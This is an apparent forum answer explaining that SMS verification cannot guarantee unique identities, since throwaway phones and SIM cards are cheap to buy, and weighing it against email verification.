But, if you knowingly process personal information (like user accounts?) then you need to be compliant (for EU PII).


Can SMS text messages be used to verify a person's unique identity through a short code system?

Think about the fact that you can buy "throw-away" mobiles including SIM cards. Buying 100 phones and therewith 100 numbers would not really be a problem. In fact, it started to become one of the annoying things in Germany since last year: spammers buy hundreds of mobiles and (ab)use these to sens spam SMS.

Looking at your question, you need to know that SMS verification is somewhat like email verification. The only thing that makes SMS verifications "a bit more useful" than regular email verifications is that - as you stated yourself - it's easier to create a dozen of emails "on the fly". Yet, if it's interesting enough to do so, you can bet people will start trying to cheat by simply organizing themselves a truckload of mobiles with individual SIM cards and phone numbers.

So, to wrap it up in a simple answer:

It's true no one (except phone-providing companies themselves) can create phone numbers "on the fly". But it is easy possible to buy several (throw-away/one-time/whatever-they-call-it-in-your-country) mobile phones and use/abuse those phone numbers.

In the end, you have to think like "them" and decide if it would be worth the effort to invest money for mobiles and SIMS just to get past SMS verification. In most cases, it's not... but in some cases, it is.

As long as you don't expect too much from an SMS verification and as long as you're only aiming for "something better than email verification", you'll be more than fine with SMS verification.